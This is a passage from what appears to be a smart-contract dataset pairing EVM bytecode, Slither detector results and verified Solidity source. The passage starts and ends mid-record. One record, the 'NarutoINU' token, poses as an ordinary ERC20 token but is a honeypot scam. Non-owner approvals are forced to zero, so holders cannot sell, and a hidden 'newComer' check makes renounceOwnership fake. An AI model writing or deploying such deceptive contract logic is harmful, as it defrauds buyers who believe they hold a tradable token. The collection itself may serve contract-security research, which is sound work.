require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc578063313ce5671461027557806370a082311461029e57806379ba5097146102eb5780638da5cb5b1461030057806395d89b4114610355578063a9059cbb146103e3578063b414d4b61461043d578063cae9ca511461048e578063d4ee1d901461052b578063dd62ed3e14610580578063e724529c146105ec578063f2fde38b14610630575b600080fd5b34156100f657600080fd5b6100fe610669565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106a2565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610829565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082f565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610cfe565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102d5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d03565b6040518082815260200191505060405180910390f35b34156102f657600080fd5b6102fe610d4c565b005b341561030b57600080fd5b610313610eab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561036057600080fd5b610368610ed1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a857808201518184015260208101905061038d565b50505050905090810190601f1680156103d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ee57600080fd5b610423600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f0a565b604051808215151515815260200191505060405180910390f35b341561044857600080fd5b610474600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611241565b604051808215151515815260200191505060405180910390f35b341561049957600080fd5b610511600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611261565b604051808215151515815260200191505060405180910390f35b341561053657600080fd5b61053e6114fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058b57600080fd5b6105d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611524565b6040518082815260200191505060405180910390f35b34156105f757600080fd5b61062e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506115ab565b005b341561063b57600080fd5b610667600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116d1565b005b6040805190810160405280600f81526020017f556c74726f6e65756d20546f6b656e000000000000000000000000000000000081525081565b60008082148061072e57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561073957600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561088c5760009050610cf7565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610957575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109635750600082115b801561099c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610a385750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a3583600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b10155b8015610a4957506044600036905010155b1515610a5457600080fd5b610aa682600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c0d82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f58554d000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f67576000905061123b565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610fb65750600082115b8015610fef5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561108b5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108883600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b10155b801561109c57506044600036905010155b15156110a757600080fd5b6110f982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118e82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156114a2578082015181840152602081019050611487565b50505050905090810190601f1680156114cf5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015156114f357600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160757600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156117a55780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156117c05750828110155b15156117c857fe5b8091505092915050565b60008282111515156117e057fe5b8183039050929150505600a165627a7a72305820dbb517e177254aa44b2938169052845473e11ee8eebf4de57b6d8798db8dee9a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 8,422 |
0x6980A1a6e156bB72d0daf1dA6Cf6f87B40BB6394
|
/**
*Submitted for verification at Etherscan.io on 2021-10-17
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-17
* SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.6.12;
// TELEGRAM: https://t.me/NarutoInuOfficial
//............................................................................................................................................................................................
//.NNNNNNN......NNNNNN.........AAAAAAA.........RRRRRRRRRRRRRRRR.....UUUUUU.......UUUUUU...TTTTTTTTTTTTTTTTTT.....OOOOOOOOOOO............... IIIII...NNNNNN.......NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNN......NNNNNN.........AAAAAAAA........RRRRRRRRRRRRRRRRR....UUUUUU.......UUUUUU...TTTTTTTTTTTTTTTTTT...OOOOOOOOOOOOOO.............. IIIII...NNNNNNN......NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNNN.....NNNNNN........AAAAAAAAA........RRRRRRRRRRRRRRRRRR...UUUUUU.......UUUUUU...TTTTTTTTTTTTTTTTTT..OOOOOOOOOOOOOOOO............. IIIII...NNNNNNN......NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNNN.....NNNNNN........AAAAAAAAA........RRRRRRRRRRRRRRRRRR...UUUUUU.......UUUUUU...TTTTTTTTTTTTTTTTTT.OOOOOOOOOOOOOOOOOO............ IIIII...NNNNNNNN.....NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNNNN....NNNNNN.......AAAAAAAAAAA.......RRRRR......RRRRRRRR..UUUUUU.......UUUUUU.........TTTTTT......OOOOOOOOOO.OOOOOOOOO........... IIIII...NNNNNNNNN....NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNNNNN...NNNNNN.......AAAAAAAAAAA.......RRRRR.......RRRRRRR..UUUUUU.......UUUUUU.........TTTTTT......OOOOOOO......OOOOOOO........... IIIII...NNNNNNNNN....NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNNNNN...NNNNNN.......AAAAAAAAAAAA......RRRRR........RRRRRR..UUUUUU.......UUUUUU.........TTTTTT......OOOOOO........OOOOOOO.......... IIIII...NNNNNNNNNN...NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNNNNNN..NNNNNN......AAAAAA.AAAAAA......RRRRR.......RRRRRRR..UUUUUU.......UUUUUU.........TTTTTT.....TOOOOOO.........OOOOOO.......... IIIII...NNNNNNNNNN...NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNNNNNN..NNNNNN......AAAAAA.AAAAAA......RRRRR.....RRRRRRRRR..UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNNNNNNNN..NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNNNNNNN.NNNNNN......AAAAA...AAAAAA.....RRRRRRRRRRRRRRRRRR...UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNNNNNNNN..NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNNNNNNNNNNNNNN.....AAAAAA...AAAAAA.....RRRRRRRRRRRRRRRRRR...UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNNNNNNNNN.NNNNNN..NUUUUU.......UUUUUU..
//.NNNNNNNNNNNNNNNNNNN.....AAAAAA...AAAAAA.....RRRRRRRRRRRRRRRRR....UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNN.NNNNNNNNNNNNN..NUUUUU.......UUUUUU..
//.NNNNNN.NNNNNNNNNNNN....AAAAAA.....AAAAAA....RRRRRRRRRRRRRRR......UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNN..NNNNNNNNNNNN..NUUUUU.......UUUUUU..
//.NNNNNN..NNNNNNNNNNN....AAAAAAAAAAAAAAAAA....RRRRR.RRRRRRRRR......UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNN..NNNNNNNNNNNN..NUUUUU.......UUUUUU..
//.NNNNNN..NNNNNNNNNNN....AAAAAAAAAAAAAAAAA....RRRRR...RRRRRRRR.....UUUUUU.......UUUUUU.........TTTTTT.....TOOOOOO.........OOOOOO.......... IIIII...NNNNN...NNNNNNNNNNN..NUUUUU.......UUUUUU..
//.NNNNNN...NNNNNNNNNN...AAAAAAAAAAAAAAAAAAA...RRRRR....RRRRRRRR....UUUUUU.......UUUUUU.........TTTTTT......OOOOOO........OOOOOOO.......... IIIII...NNNNN...NNNNNNNNNNN..NUUUUU.......UUUUUU..
//.NNNNNN...NNNNNNNNNN...AAAAAAAAAAAAAAAAAAA...RRRRR.....RRRRRRR.....UUUUUU.....UUUUUUU.........TTTTTT......OOOOOOO......OOOOOOO........... IIIII...NNNNN....NNNNNNNNNN...UUUUUU.....UUUUUUU..
//.NNNNNN....NNNNNNNNN...AAAAAA.......AAAAAAA..RRRRR......RRRRRRR....UUUUUUUU.UUUUUUUUU.........TTTTTT......OOOOOOOOOO.OOOOOOOOO........... IIIII...NNNNN.....NNNNNNNNN...UUUUUUUU.UUUUUUUUU..
//.NNNNNN.....NNNNNNNN..NAAAAA.........AAAAAA..RRRRR......RRRRRRRR...UUUUUUUUUUUUUUUUU..........TTTTTT.......OOOOOOOOOOOOOOOOOO............ IIIII...NNNNN.....NNNNNNNNN...UUUUUUUUUUUUUUUUU...
//.NNNNNN.....NNNNNNNN..NAAAAA.........AAAAAA..RRRRR.......RRRRRRR....UUUUUUUUUUUUUUUU..........TTTTTT........OOOOOOOOOOOOOOOO............. IIIII...NNNNN......NNNNNNNN....UUUUUUUUUUUUUUUU...
//.NNNNNN......NNNNNNN.NNAAAAA.........AAAAAAA.RRRRR........RRRRRRR....UUUUUUUUUUUUUU...........TTTTTT.........OOOOOOOOOOOOOO.............. IIIII...NNNNN......NNNNNNNN.....UUUUUUUUUUUUUU....
//.NNNNNN......NNNNNNN.NNAAAA...........AAAAAA.RRRRR........RRRRRRRR....UUUUUUUUUUU.............TTTTTT...........OOOOOOOOOOO............... IIIII...NNNNN.......NNNNNNN......UUUUUUUUUUU......
//............................................................................................................................................................................................
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract NarutoINU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12 * 10**18;
string private _name = 'NarutoINU';
string private _symbol = 'NARUTOINU';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020